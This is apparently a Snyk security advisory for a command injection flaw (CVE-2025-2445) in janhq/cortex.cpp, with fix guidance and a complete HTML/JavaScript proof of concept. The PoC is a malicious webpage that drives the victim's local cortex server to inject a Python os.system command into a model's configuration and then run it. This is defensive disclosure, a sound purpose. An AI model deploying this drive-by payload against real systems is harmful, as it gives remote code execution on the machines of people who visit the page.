Command Injection Affecting janhq/cortex.cpp package, versions [,1.0.11-rc3)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-UNMANAGED-JANHQCORTEXCPP-9460793
- published18 Mar 2025
- disclosed17 Mar 2025
- creditRaul Onitza-Klugman (Snyk Security Research)
Introduced: 17 Mar 2025
CVE-2025-2445 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade janhq/cortex.cpp to version 1.0.11-rc3 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection by missing validation of the command field sent to the server to update the configuration of a python_engine type model via an HTTP POST request to /v1/models/__MODEL_ID__. An attacker can craft a webpage once visited by the victim can trigger the exploit which can lead to executing arbitrary commands on the server (RCE).
PoC
<html>
<head>
<h1>
Cortex.cpp pwned!
</h1>
</head>
<body>
<script>
( async () => {
// Pull known python_engine model.
try {
await fetch('http://127.0.0.1:39281/v1/models/pull', {
method: 'POST',
headers: { "Content-Type": "application/json" },
body: JSON.stringify({"model":"ichigo-0.5:fp16-linux-amd64"})
});
} catch (error){
console.log(`CORS error triggered but that's fine - model pulled!`);
}
// Update model.
try {
await fetch('http://127.0.0.1:39281/v1/models/ichigo-0.5:fp16-linux-amd64', {
method: 'PATCH',
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ "command":
[ "-c", "import os; os.system('whoami')" ]
})
});
} catch (error){
console.log(`CORS error triggered but that's fine - model.yml changed!`);
}
// Start model - trigger RCE.
try {
await fetch("http://127.0.0.1:39281/v1/models/start", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"model": "ichigo-0.5:fp16-linux-amd64"
})
});
} catch (error){
console.log(`CORS error triggered but that's fine - model started!`);
}
// Stop model.
try {
await fetch("http://127.0.0.1:39281/v1/models/stop", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"model": "ichigo-0.5:fp16-linux-amd64"
})
});
} catch (error){
console.log(`CORS error triggered but that's fine - model stopped!`);
}
})();
</script>
</body>
</html>